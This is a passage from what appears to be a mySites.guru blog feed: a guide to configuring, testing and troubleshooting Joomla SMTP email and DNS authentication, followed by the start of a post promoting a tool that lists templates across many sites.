&lt;p&gt;All email configuration lives in &lt;strong&gt;System &amp;gt; Global Configuration &amp;gt; Server tab&lt;/strong&gt; in the Joomla admin. Here&apos;s what each setting does and what can go wrong with it.&lt;/p&gt;
&lt;h3&gt;Mailer&lt;/h3&gt;
&lt;p&gt;Dropdown with three options: PHP Mail, Sendmail, or SMTP. As covered above, choose SMTP.&lt;/p&gt;
&lt;h3&gt;From Email&lt;/h3&gt;
&lt;p&gt;The email address Joomla puts in the &lt;code&gt;From:&lt;/code&gt; header of every email it sends. If this address doesn&apos;t match the domain of your SMTP server (or at least a domain you&apos;ve authorized via SPF/DKIM), receiving servers will flag your emails as suspicious.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Setting this to a generic address like &lt;code&gt;admin@gmail.com&lt;/code&gt; or leaving it as the default &lt;code&gt;admin@example.com&lt;/code&gt;. Your emails will land in spam or be rejected outright.&lt;/p&gt;
&lt;h3&gt;From Name&lt;/h3&gt;
&lt;p&gt;The display name that appears alongside the From Email address. Usually your site name or business name. This is cosmetic but matters for trust. Emails from &quot;Joomla! powered site&quot; look unprofessional and get ignored.&lt;/p&gt;
&lt;h3&gt;SMTP Host&lt;/h3&gt;
&lt;p&gt;The hostname of your SMTP server. Common examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;smtp.gmail.com&lt;/code&gt; (Google Workspace)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smtp.office365.com&lt;/code&gt; (Microsoft 365)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smtp.postmarkapp.com&lt;/code&gt; (Postmark)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;email-smtp.eu-west-1.amazonaws.com&lt;/code&gt; (Amazon SES)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mail.yourdomain.com&lt;/code&gt; (cPanel/hosting provider)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Using &lt;code&gt;localhost&lt;/code&gt; when the server doesn&apos;t have a local SMTP service running, or using an IP address that gets blocked by the receiving server&apos;s firewall.&lt;/p&gt;
&lt;h3&gt;SMTP Port&lt;/h3&gt;
&lt;p&gt;The port number for the SMTP connection. The correct port depends on the encryption method:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Port 587&lt;/strong&gt; - STARTTLS (the modern standard, use this)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port 465&lt;/strong&gt; - Implicit TLS/SSL (older but still supported by many providers)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port 25&lt;/strong&gt; - No encryption (blocked by most hosting providers and ISPs, never use this for authenticated mail)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Using port 25 because &quot;it&apos;s the SMTP port.&quot; Port 25 is for server-to-server relay, not authenticated client submission. Most hosting providers block outbound port 25 entirely. Use 587.&lt;/p&gt;
&lt;h3&gt;SMTP Security&lt;/h3&gt;
&lt;p&gt;The encryption method: None, SSL/TLS, or STARTTLS. Always use STARTTLS (port 587) or SSL/TLS (port 465). Never use None.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Setting this to None because &quot;it&apos;s just internal mail.&quot; Even on internal networks, unencrypted SMTP exposes your credentials in plain text to anyone sniffing the network.&lt;/p&gt;
&lt;h3&gt;SMTP Authentication&lt;/h3&gt;
&lt;p&gt;Whether the SMTP server requires a username and password. Almost every SMTP server requires authentication. The only exception is some internal relay servers on managed hosting, but even those are increasingly requiring auth.&lt;/p&gt;
&lt;h3&gt;SMTP Username and Password&lt;/h3&gt;
&lt;p&gt;Your SMTP credentials. These are typically not the same as your email login, especially with services like Gmail (which requires an App Password or OAuth), Amazon SES (which uses IAM credentials), and Postmark (which uses API tokens).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Common mistake:&lt;/strong&gt; Using your personal email password. If your Joomla site is ever compromised (and &lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-3496/product_id-16499/Joomla-Joomla-.html&quot;&gt;every Joomla 4 version was exploitable&lt;/a&gt; for configuration file exposure except the latest few) the attacker gets your email password too.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Never reuse personal email credentials&lt;/p&gt;
  &lt;p&gt;If you can see test emails from &lt;a href=&quot;https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/&quot;&gt;AuditMailerTest@myjoomla.io&lt;/a&gt; in your personal mail client&apos;s sent folder, it means you&apos;re using your personal account credentials in Joomla. That&apos;s a security risk you should fix today.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What are the seven most common Joomla email configuration mistakes?&lt;/h2&gt;
&lt;p&gt;After years of running &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt; across tens of thousands of Joomla sites, these are the problems I see over and over again.&lt;/p&gt;
&lt;h3&gt;1. Using PHP Mail on a server that blocks it&lt;/h3&gt;
&lt;p&gt;Many shared hosting providers disable PHP&apos;s &lt;code&gt;mail()&lt;/code&gt; function to prevent spam abuse. When they do, Joomla&apos;s PHP Mail option silently fails. You get no error, no bounce, nothing. The form submission goes through, the email vanishes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Switch to SMTP. Always.&lt;/p&gt;
&lt;h3&gt;2. Wrong SMTP port after a hosting migration&lt;/h3&gt;
&lt;p&gt;You migrate to a new host, restore your Joomla backup, and everything looks fine. Except the new host uses port 587 instead of port 465, or vice versa. Your SMTP credentials might even be correct, but the port mismatch means the connection never establishes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Check with your new host which port they support. Test the connection explicitly.&lt;/p&gt;
&lt;h3&gt;3. SMTP password changed by the hosting provider&lt;/h3&gt;
&lt;p&gt;Hosting providers periodically rotate passwords, especially on shared hosting. When they do, your Joomla SMTP password becomes invalid. Some providers notify you. Many don&apos;t.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Use a dedicated transactional email service (Postmark, Amazon SES, Mailgun) where you control the credentials and get notified of any changes.&lt;/p&gt;
&lt;h3&gt;4. From address doesn&apos;t match SPF/DKIM records&lt;/h3&gt;
&lt;p&gt;Your site sends email from &lt;code&gt;info@yourdomain.com&lt;/code&gt; but the SMTP server is &lt;code&gt;smtp.thirdpartyservice.com&lt;/code&gt;. The receiving server checks the SPF record for &lt;code&gt;yourdomain.com&lt;/code&gt;, doesn&apos;t find the third-party service&apos;s IP address listed, and either rejects the email or dumps it in spam.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Add the SMTP service&apos;s SPF include to your domain&apos;s DNS. Set up DKIM signing. Consider adding a DMARC policy too. Your email service provider will have documentation on exactly what DNS records to add.&lt;/p&gt;
&lt;h3&gt;5. SSL certificate mismatch on the SMTP server&lt;/h3&gt;
&lt;p&gt;You connect to &lt;code&gt;mail.yourdomain.com&lt;/code&gt; on port 465, but the SSL certificate on the mail server is issued to &lt;code&gt;server42.hostingprovider.com&lt;/code&gt;. PHP&apos;s OpenSSL extension rejects the connection because the certificate doesn&apos;t match the hostname.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Either use the hostname that matches the certificate (ask your host what it is) or switch to a proper email service where certificate management is handled for you.&lt;/p&gt;
&lt;h3&gt;6. Using &quot;Send Copy to Submitter&quot; and getting flagged as spam&lt;/h3&gt;
&lt;p&gt;Joomla&apos;s contact form has a &lt;code&gt;Send Copy To Submitter&lt;/code&gt; option that forwards a copy of the form submission to whatever email address the visitor entered. Spammers abuse this by submitting the form with a victim&apos;s email address, making your site the spam source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;Disable Send Copy to Submitter&lt;/a&gt; globally. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; checks this setting automatically. If you are on Joomla 6.1, also &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;enable the built-in POW captcha&lt;/a&gt; so the form itself rejects automated submissions before they ever reach the mail layer.&lt;/p&gt;
&lt;h3&gt;7. Plaintext passwords enabled in Joomla&lt;/h3&gt;
&lt;p&gt;Older Joomla versions can be configured to email new users their password in plain text. Apart from being a terrible security practice, these emails are more likely to be flagged by spam filters because they contain sensitive-looking content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Disable the plain text password setting. mySites.guru&apos;s snapshot checks this too and can toggle it off with one click.&lt;/p&gt;
&lt;h2&gt;How to manually test your Joomla email&lt;/h2&gt;
&lt;p&gt;If you suspect email is broken, here&apos;s how to confirm it without waiting for a real form submission.&lt;/p&gt;
&lt;h3&gt;Method 1: Joomla&apos;s built-in mass mail&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;Users &amp;gt; Mass Mail Users&lt;/strong&gt; in the Joomla admin. Select the Super Users group, type a test subject and body, and send. Check your inbox (and spam folder). If you get the email, your configuration works for sending to your own address at least.&lt;/p&gt;
&lt;p&gt;The limitation: this only tests sending to addresses you already know work. It doesn&apos;t tell you whether emails to other domains are being delivered or rejected.&lt;/p&gt;
&lt;h3&gt;Method 2: Create a test contact form submission&lt;/h3&gt;
&lt;p&gt;Fill in your own site&apos;s contact form using a different email address (a Gmail or Outlook.com address you control). Check whether you receive the form submission email. Check whether the submitter receives a copy (if that option is enabled).&lt;/p&gt;
&lt;p&gt;This exercises the full contact form pipeline, not just the raw mail function.&lt;/p&gt;
&lt;h3&gt;Method 3: Check the mail queue and server logs&lt;/h3&gt;
&lt;p&gt;If you have SSH access, run &lt;code&gt;mailq&lt;/code&gt; to check for stuck messages. Check &lt;code&gt;/var/log/mail.log&lt;/code&gt; or &lt;code&gt;/var/log/maillog&lt;/code&gt; for errors like &lt;code&gt;Connection refused&lt;/code&gt; (wrong port or firewall), &lt;code&gt;Authentication failed&lt;/code&gt; (wrong credentials), &lt;code&gt;Relay access denied&lt;/code&gt; (unauthorized From address), or &lt;code&gt;Certificate verification failed&lt;/code&gt; (SSL mismatch).&lt;/p&gt;
&lt;h3&gt;Method 4: Use an external SMTP testing tool&lt;/h3&gt;
&lt;p&gt;Tools like &lt;a href=&quot;https://smtper.net/&quot;&gt;SMTPer.net&lt;/a&gt; let you test SMTP connections from outside your server. Enter your SMTP host, port, credentials, and encryption method, and it will tell you exactly what&apos;s happening at each step of the connection.&lt;/p&gt;
&lt;h2&gt;Why isn&apos;t manual testing enough?&lt;/h2&gt;
&lt;p&gt;The problem with all of these manual tests is that they only tell you email works right now. They don&apos;t tell you when it stops working tomorrow because your hosting provider changed something, your SSL certificate expired, or your SMTP service rotated your API key.&lt;/p&gt;
&lt;p&gt;Email configuration is one of those things that works perfectly until it doesn&apos;t, and when it breaks, nobody notices until the damage is done.&lt;/p&gt;
&lt;p&gt;You need automated, ongoing testing. That&apos;s exactly what the &lt;a href=&quot;#how-does-mysitesguru-automate-email-verification&quot;&gt;mySites.guru audit&lt;/a&gt; handles for you.&lt;/p&gt;
&lt;h2&gt;How do you set up a dedicated transactional email service?&lt;/h2&gt;
&lt;p&gt;I strongly recommend using a dedicated transactional email provider instead of your hosting provider&apos;s built-in SMTP. You get centralised activity logs showing every email your site sent, when it was delivered, and whether it bounced. The sending infrastructure has actively managed IP reputation, so your emails actually land in inboxes instead of spam folders. Bounce handling is built in, so bad addresses get flagged instead of silently failing.&lt;/p&gt;
&lt;p&gt;Your hosting provider&apos;s mail server shares its IP with hundreds of other customers. If one of them sends spam, the IP gets blacklisted and your emails stop arriving too. Dedicated providers maintain clean IP pools and actively monitor reputation, which is something your $10/month shared host simply doesn&apos;t do.&lt;/p&gt;
&lt;h3&gt;Postmark&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://postmarkapp.com&quot;&gt;Postmark&lt;/a&gt; is purpose-built for transactional email (not marketing email). It provides excellent deliverability, detailed delivery tracking, and bounce management. To use Postmark with Joomla, set SMTP Host to &lt;code&gt;smtp.postmarkapp.com&lt;/code&gt;, port &lt;code&gt;587&lt;/code&gt; with STARTTLS, and use your Postmark Server API Token as both the username and password. Your From Email must be a verified sender address in Postmark.&lt;/p&gt;
&lt;h3&gt;Amazon SES&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://aws.amazon.com/ses/&quot;&gt;Amazon SES&lt;/a&gt; is the cheapest option at scale. It requires more setup (IAM users, DKIM verification, moving out of the sandbox) but costs fractions of a penny per email.&lt;/p&gt;
&lt;h3&gt;Google Workspace / Microsoft 365&lt;/h3&gt;
&lt;p&gt;If you&apos;re already paying for Google Workspace or Microsoft 365, you can technically use their SMTP servers, but I&apos;d think twice about it. Google has &lt;a href=&quot;https://support.google.com/accounts/answer/6010255?hl=en&quot;&gt;deprecated &quot;Less Secure Apps&quot;&lt;/a&gt; (basic username/password authentication) and now &lt;a href=&quot;https://knowledge.workspace.google.com/admin/sync/transition-from-less-secure-apps-to-oauth&quot;&gt;requires OAuth 2.0&lt;/a&gt; for SMTP access. Neither Joomla nor WordPress supports OAuth for sending emails natively, so you&apos;d need App Passwords (which Google may further restrict) or a third-party plugin that handles the OAuth flow. Microsoft 365 has similar restrictions in the pipeline.&lt;/p&gt;
&lt;p&gt;This is another reason I recommend a dedicated transactional email service like Postmark or Amazon SES. They use standard SMTP credentials that just work, without OAuth headaches or provider-imposed sending limits.&lt;/p&gt;
&lt;h2&gt;Which DNS records affect email delivery?&lt;/h2&gt;
&lt;p&gt;Even with perfect SMTP settings, your emails can still fail if your DNS records aren&apos;t set up correctly. SPF, DKIM, and DMARC are a whole topic on their own, and getting them wrong can be worse than not having them at all. I&apos;ll give a brief overview here, but if you&apos;re not familiar with email authentication records, spend some time with the &lt;a href=&quot;https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide&quot;&gt;DMARCLY guide&lt;/a&gt; before making changes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SPF&lt;/strong&gt; (Sender Policy Framework) is a DNS TXT record that lists which IP addresses and services are allowed to send email for your domain. If your SMTP provider isn&apos;t included, receiving servers will reject or spam-flag your messages. &lt;strong&gt;DKIM&lt;/strong&gt; (DomainKeys Identified Mail) adds a cryptographic signature to outgoing emails that the receiving server verifies against a public key in your DNS. &lt;strong&gt;DMARC&lt;/strong&gt; ties SPF and DKIM together and tells receiving servers what to do when a message fails both checks.&lt;/p&gt;
&lt;p&gt;All three need to be correct and consistent with each other. A misconfigured SPF record can block legitimate email. A missing DKIM signature can tank your deliverability even if SPF passes. And a DMARC policy set to &lt;code&gt;p=reject&lt;/code&gt; before you&apos;ve verified everything will silently drop real messages.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get DNS right before you change DMARC policy&lt;/p&gt;
  &lt;p&gt;Start with &lt;code&gt;p=none&lt;/code&gt; to monitor. Use &lt;a href=&quot;https://mxtoolbox.com/&quot;&gt;MXToolbox&lt;/a&gt; to verify your SPF and DKIM records are correct before moving to &lt;code&gt;p=quarantine&lt;/code&gt; or &lt;code&gt;p=reject&lt;/code&gt;. Allow up to 48 hours for DNS propagation after any changes.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;A complete Joomla email health checklist&lt;/h2&gt;
&lt;p&gt;Use this checklist to verify your Joomla site&apos;s email configuration from top to bottom:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mailer set to SMTP&lt;/strong&gt; - Not PHP Mail, not Sendmail&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP host is correct&lt;/strong&gt; - Matches your email provider&apos;s documented hostname&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP port is 587&lt;/strong&gt; - With STARTTLS encryption (or 465 with SSL/TLS)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP authentication enabled&lt;/strong&gt; - With dedicated credentials (not personal email)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From Email matches your domain&lt;/strong&gt; - And that domain has SPF/DKIM records authorizing the SMTP server&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;From Name is your business name&lt;/strong&gt; - Not &quot;Joomla! powered site&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Send Copy to Submitter is disabled&lt;/strong&gt; - To prevent &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;spam abuse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plaintext passwords disabled&lt;/strong&gt; - Joomla should never email passwords in the clear&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SPF DNS record exists&lt;/strong&gt; - Includes your SMTP provider&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM DNS record exists&lt;/strong&gt; - Provided by your SMTP service&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC DNS record exists&lt;/strong&gt; - Set to at least &lt;code&gt;p=quarantine&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test email actually arrives&lt;/strong&gt; - Not just &quot;config looks right&quot; but verified delivery&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you manage more than a handful of sites, running through this list manually on each one is impractical. That&apos;s exactly what &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&apos;s audit and snapshot tools&lt;/a&gt; are built for: automated checks across all your connected sites, with &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice&lt;/a&gt; enforcement and trend tracking so you can see when something changes.&lt;/p&gt;
&lt;h2&gt;Troubleshooting: Joomla email was working and now it isn&apos;t&lt;/h2&gt;
&lt;p&gt;Everything was fine last week and now nothing sends. Here&apos;s a systematic approach to diagnosing it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Check if the problem is Joomla or the SMTP server.&lt;/strong&gt; Try sending an email through your SMTP service&apos;s web interface or API directly. If that works, the problem is in Joomla&apos;s configuration. If that also fails, the problem is with the SMTP service itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Check for recent changes.&lt;/strong&gt; Did you update Joomla? Update a plugin? Change hosting? Move servers? Any of these can alter mail settings or break an existing connection. Check your mySites.guru audit history; the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;quick snapshot&lt;/a&gt; shows what changed between snapshots.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Verify credentials.&lt;/strong&gt; Log into your SMTP service&apos;s dashboard and confirm your credentials are still valid. Check for expiration notices, IP allowlist changes, or account suspensions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Check server-level blocks.&lt;/strong&gt; Some hosting providers block outbound SMTP connections (especially on port 25, but sometimes on 465 and 587 too). Contact your host and ask if they&apos;ve changed their firewall rules. A host can also cut PHP mail and outbound connections automatically after a malware false positive, which is exactly &lt;a href=&quot;https://mysites.guru/blog/ovh-flagged-our-plugin-as-malware/&quot;&gt;what OVH did when it wrongly flagged a legitimate plugin file&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Check DNS records.&lt;/strong&gt; Use &lt;a href=&quot;https://mxtoolbox.com/&quot;&gt;MXToolbox&lt;/a&gt; to verify your SPF, DKIM, and DMARC records are still intact. Domain transfers, DNS provider changes, or accidental record deletions can break email authentication overnight.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6: Check for blacklisting.&lt;/strong&gt; If your server&apos;s IP address has been blacklisted due to spam (possibly from another site on the same shared hosting), your emails will be rejected by many receiving servers. Use &lt;a href=&quot;https://mxtoolbox.com/blacklists.aspx&quot;&gt;MXToolbox&apos;s blacklist check&lt;/a&gt; to see if your IP appears on any major blocklists.&lt;/p&gt;
&lt;h2&gt;How do you manage email configuration across multiple sites?&lt;/h2&gt;
&lt;p&gt;If you run an agency with dozens or hundreds of Joomla sites, keeping track of email configuration across all of them is a pain. Each site has its own SMTP settings, its own DNS records, its own potential failure points.&lt;/p&gt;
&lt;p&gt;mySites.guru was built for exactly this scenario. Every &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled audit&lt;/a&gt; runs the email delivery test across all your connected sites automatically, and the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; shows the result alongside 140+ other checks. You can see at a glance which sites have working email and which don&apos;t, track when a previously working configuration breaks, and share the results with clients through &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;automated white-label reports&lt;/a&gt;. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Unlimited sites&lt;/a&gt; on a single subscription, so there&apos;s no per-site cost as your portfolio grows.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://guide.joomla.org/user-manual/configuration/configuration-smtp-mail-gmail&quot;&gt;Joomla SMTP Mail and Gmail Configuration&lt;/a&gt; - Official Joomla documentation on configuring SMTP mail settings&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dmarcly.com/blog/how-to-implement-dmarc-dkim-spf-to-stop-email-spoofing-phishing-the-definitive-guide&quot;&gt;How to Implement DMARC/DKIM/SPF&lt;/a&gt; - Comprehensive guide covering SPF, DKIM, and DMARC setup with step-by-step instructions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://postmarkapp.com/guides/transactional-email-best-practices&quot;&gt;Transactional Email Best Practices&lt;/a&gt; - Postmark&apos;s guide to authentication, design, and monitoring for transactional email&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.emailtooltester.com/en/blog/best-email-deliverability-tools/&quot;&gt;Best Email Deliverability Tools&lt;/a&gt; - Review of inbox placement testing and spam checking tools&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Get started&lt;/h2&gt;
&lt;p&gt;If you&apos;re not sure whether your Joomla sites can actually send email right now, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt;. It takes less than a minute to connect your site, and you&apos;ll get a clear pass/fail result for email delivery along with dozens of other security and configuration checks.&lt;/p&gt;
&lt;p&gt;You might be surprised what you find.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Email configuration checks are covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>email</category><category>smtp</category><category>security</category><category>joomla</category><category>wordpress</category><category>troubleshooting</category><enclosure url="https://mysites.guru/_astro/how-to-verify-joomla-email-configuration-works.zm7u0y9A.png" length="0" type="image/png"/></item><item><title>How to Compare Joomla Templates Across All Your Sites</title><link>https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/</guid><description>See which template every Joomla site uses, spot legacy or default templates, and export the full list as CSV from one dashboard.</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage a handful of Joomla sites&lt;/a&gt;, keeping track of which template each one uses is simple enough. You probably remember off the top of your head. But once you cross into double digits, or triple, that casual mental inventory falls apart fast.&lt;/p&gt;
&lt;p&gt;Which sites are still on Cassiopeia? Did you finish migrating that client from Protostar to a commercial template after the Joomla 4 upgrade? Is anyone still running an old version of the Astroid Framework that needs patching? These are the kinds of questions that eat up entire afternoons when you have to log into each site&apos;s administrator panel to find the answer.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manage.mysites.guru/en/tools/theme_and_template_list&quot;&gt;Active Theme and Template List&lt;/a&gt; tool in mySites.guru puts all of that information on a single page. Every connected site, its active template or theme, the version number, and the author - searchable, filterable, and exportable as CSV. No logging into admin panels. No spreadsheets maintained by hand. No guessing.&lt;/p&gt;
&lt;h2&gt;Why Are Joomla Templates Code, Not Decoration?&lt;/h2&gt;
&lt;p&gt;Most people think of templates as a cosmetic layer. Pick some colours, choose a layout, maybe adjust a few spacing values, and you are done. That thinking is wrong.&lt;/p&gt;
&lt;p&gt;A Joomla template is PHP, HTML, CSS, and JavaScript executing on your server on every single page load. It handles output rendering, menu logic, module positioning, responsive breakpoints, asset loading, and often bundles its own framework with thousands of lines of code. A complex commercial template can have more code than some extensions. It is not arranging prettiness - it &lt;strong&gt;is&lt;/strong&gt; code that happens to produce prettiness.&lt;/p&gt;
&lt;p&gt;And code needs maintenance. Code has bugs. Code has security vulnerabilities. Code has dependencies that go end-of-life. When you install a template and forget about it because &quot;it&apos;s just the design,&quot; you are leaving unmaintained code running on a production server. You would never do that with a plugin or component, but people do it with templates constantly because the word &quot;template&quot; sounds harmless.&lt;/p&gt;
&lt;p&gt;If you manage 50 sites and each one has a template with its own framework, that is 50 installations of code that need version tracking, update management, and security monitoring. Treat templates the way you treat every other piece of software on the server: know what version is running, know when updates are available, and patch vulnerabilities immediately.&lt;/p&gt;
&lt;h2&gt;Why Joomla template visibility matters across a portfolio&lt;/h2&gt;
&lt;p&gt;Templates carry the same risks as any other extension. A template with a security vulnerability is just as dangerous as a plugin with one - sometimes more so, because templates tend to get less attention during routine maintenance.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; in early March 2026 was a perfect case study. CVE-2026-21628 scored a CVSS 10.0 - the maximum possible severity - and affected every version of the Astroid Framework before 3.3.11. Attackers used it to install backdoor plugins and inject hidden SEO spam into affected sites without ever needing to log in.&lt;/p&gt;
&lt;p&gt;The agencies that responded fastest were the ones that could answer one question immediately: &quot;Which of my sites are running an Astroid-based template?&quot; If you had to log into each site to check, you were already behind.&lt;/p&gt;
&lt;p&gt;That was not an isolated incident. Over the years, Joomla template frameworks and their bundled components have been hit by directory traversal flaws, SQL injection reports, and file upload bypasses. Some affected the template code directly; others targeted companion components or media managers that ship alongside the template. The common thread is always the same: if you do not know which sites are running the affected framework, you cannot respond fast enough.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Template management is about knowing what code is running across your entire portfolio so you can act fast when something goes wrong.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Beyond security, template visibility helps with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Standardisation&lt;/strong&gt; - Confirming all client sites have been migrated to your preferred template framework after a major CMS upgrade&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt; - Producing an accurate inventory for internal records, client handovers, or compliance requirements&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Version tracking&lt;/strong&gt; - Spotting sites that are running outdated template versions when the developer has released updates&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audit readiness&lt;/strong&gt; - Having a single source of truth for what is deployed where, without relying on memory or manual records&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Is the Active Theme and Template List Tool?&lt;/h2&gt;
&lt;p&gt;The template list tool lives in the Tools section of your mySites.guru dashboard. It pulls data from the latest &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; of every connected site and presents it in a single table.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;What the table shows&lt;/h3&gt;
&lt;p&gt;Each row in the table represents one connected site. The columns are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site&lt;/strong&gt; - The site name and URL, displayed as a clickable link to the site&apos;s management page in mySites.guru&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site Version&lt;/strong&gt; - The CMS version running on that site (e.g., Joomla 5.3.1, WordPress 6.8), displayed with a colour-coded badge&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Name&lt;/strong&gt; - The name of the currently active template (Joomla) or theme (WordPress)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme Version&lt;/strong&gt; - The version number of the active template or theme&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Author&lt;/strong&gt; - The developer or company that created the template&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This gives you a complete at-a-glance view of what every site in your portfolio is running - without clicking through to individual admin panels or expanding any dropdowns.&lt;/p&gt;
&lt;h3&gt;Searching and filtering&lt;/h3&gt;
&lt;p&gt;At the top of the table is a search box that filters the results in real time. You can search by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site name or URL&lt;/strong&gt; - Find a specific client&apos;s site quickly&lt;/li&gt;
